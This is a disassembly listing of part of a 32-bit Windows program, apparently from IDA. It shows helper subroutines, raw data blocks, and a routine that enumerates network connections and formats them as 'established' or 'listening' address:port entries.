mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4185EE
push edi
jmp short loc_4185F3
; ---------------------------------------------------------------------------
loc_4185EE: ; CODE XREF: sub_418590+59j
push offset byte_448F40
loc_4185F3: ; CODE XREF: sub_418590+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015E1
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418590 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h
dd 244C8DFFh, 2685128h, 90000002h, 69E020E8h, 8E92E871h
dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h
dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 0E8FFFE92h, 7169BBE4h
dd 42468A90h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418940: ; CODE XREF: ___:00402225j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418960: ; CODE XREF: ___:00401EE2j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_449128
call sub_401771
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418990 proc near ; CODE XREF: sub_401B1Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021DF
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40162C
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401438
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_402103
sub_418990 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A00 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418A00 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A40 proc near ; CODE XREF: sub_4021FDj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40207C
sub_418A40 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401F69j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D98
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AF0 proc near ; CODE XREF: sub_401311j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D98
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_418AF0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
pop esi
add esp, 0Ch
retn
sub_418B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B70 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
call sub_401532
mov eax, esi
pop esi
retn
sub_418B70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B90 proc near ; CODE XREF: sub_402234j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418B90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418BB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BE0 proc near ; CODE XREF: sub_401703j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40223E
neg al
sbb eax, eax
inc eax
retn 4
sub_418BE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_401438j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jz short loc_418C6A
loc_418C28: ; CODE XREF: sub_418C10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jnz short loc_418C28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C6A: ; CODE XREF: sub_418C10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418C10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_402103j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D6B
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_40155Aj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jz short loc_418D1A
loc_418CD8: ; CODE XREF: sub_418CC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40216C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jnz short loc_418CD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418D1A: ; CODE XREF: sub_418CC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C67
sub_418D50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418D65
mov edi, esi
loc_418D65: ; CODE XREF: ___:00418D61j
push esi
call sub_4015DC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418D7A
mov edi, esi
loc_418D7A: ; CODE XREF: ___:00418D76j
push esi
call sub_401B31
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418DA0 proc near ; CODE XREF: sub_40207Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013FC
sub_418DA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DC0 proc near ; CODE XREF: sub_4015DCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418DC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E00 proc near ; CODE XREF: sub_401532j
mov eax, ecx
retn
sub_418E00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E20 proc near ; CODE XREF: sub_401D98j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020FE
mov eax, esi
pop esi
retn 4
sub_418E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E50 proc near ; CODE XREF: sub_40223Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418E50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C9E
mov esi, eax
push esi
call sub_401A96
push esi
mov ebx, eax
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C6C
push esi
mov ebx, eax
call sub_401A96
mov eax, [eax]
push eax
call sub_401C6C
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_40176C
push esi
mov ecx, edi
call sub_402103
sub_418E80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F40 proc near ; CODE XREF: sub_401D6Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_418F40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F28
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418F60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F90 proc near ; CODE XREF: sub_40216Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401EEC
mov esi, eax
push esi
call sub_4015DC
push esi
mov ebx, eax
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B31
push esi
mov ebx, eax
call sub_4015DC
mov eax, [eax]
push eax
call sub_401B31
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018D4
push esi
mov ecx, edi
call sub_40207C
sub_418F90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401B31j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419070 proc near ; CODE XREF: sub_401C67j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_419070 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190A0 proc near ; CODE XREF: sub_4013FCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4190A0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190C0 proc near ; CODE XREF: sub_4020FEj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4190C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190E0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4190E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419110 proc near ; CODE XREF: sub_40176Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419130 proc near ; CODE XREF: sub_4018D4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419130 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419150 proc near ; CODE XREF: sub_401EECj
mov eax, [ecx]
retn
sub_419150 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4191B0 proc near ; CODE XREF: sub_402121j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4191B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43F074
call sub_437AEA
sub_4191B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41921D
mov ecx, eax
call sub_401F2D
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41921D: ; CODE XREF: ___:004191FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419270 proc near ; CODE XREF: sub_401F2Dj
push 0FFFFFFFFh
push offset SEH_419270
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_437AEA
sub_419270 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4192BE
mov ecx, eax
call sub_4015C3
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4192BE: ; CODE XREF: ___:004192A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419300 proc near ; CODE XREF: sub_4015C3j
mov eax, ecx
retn
sub_419300 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419320 proc near ; CODE XREF: sub_401974j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419320
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_419320 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4193C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4193C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017EE
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419766
push ebp
push edi
push offset asc_444600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
call sub_40168B
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401870
xor ebp, ebp
push offset dword_444D80
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013ED
test eax, eax
jz short loc_41946F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419489
; ---------------------------------------------------------------------------
loc_41946F: ; CODE XREF: sub_4193C0+A3j
push offset dword_444D7C
lea ecx, [esp+2B8h+var_274]
call sub_4013ED
test eax, eax
jz short loc_419489
mov [esp+2B4h+var_2A0], 1
loc_419489: ; CODE XREF: sub_4193C0+ADj
; sub_4193C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_444D70
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419518
mov esi, dword_511AA8
add eax, 2
push offset dword_444D70
push eax
call esi
add esp, 8
test eax, eax
jz short loc_419518
mov ecx, [ebx+32h]
push offset off_444D6C
mov edx, [ecx]
add edx, 2
push edx
call esi
add esp, 8
test eax, eax
jnz loc_41974C
loc_419518: ; CODE XREF: sub_4193C0+123j
; sub_4193C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_437F50
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419742
lea ebp, [esi+14h]
loc_419554: ; CODE XREF: sub_4193C0+37Cj
cmp dword ptr [ebp-10h], 2
jnz short loc_419568
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41972C
loc_419568: ; CODE XREF: sub_4193C0+198j
mov ax, [ebp-8]
mov esi, dword_511C5C
push eax
call esi
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_40147E
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_40147E
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4195CC
sub eax, 3
jnz short loc_4195F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4195D5
; ---------------------------------------------------------------------------
loc_4195CC: ; CODE XREF: sub_4193C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4195D5: ; CODE XREF: sub_4193C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4195F2: ; CODE XREF: sub_4193C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419618
xor ebx, ebx
loc_419618: ; CODE XREF: sub_4193C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
call near ptr 77C3FA76h
nop
mov edi, ebx
lea eax, [esp+2C8h+var_118]
and edi, 0FFFFh
lea ecx, [esp+2C8h+var_224]
push edi
push eax
push offset aSD_1 ; "%s:%d"
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 28h
lea ecx, [esp+2B4h+var_28C]
call sub_40142E
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4196AE
cmp eax, 1
jz loc_419713
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4196A1
cmp eax, esi
jnz short loc_419713
loc_4196A1: ; CODE XREF: sub_4193C0+2DBj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4196D4
; ---------------------------------------------------------------------------
loc_4196AE: ; CODE XREF: sub_4193C0+2C7j
cmp eax, 2
jz short loc_419713
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4196C2
cmp eax, edi
jnz short loc_419713
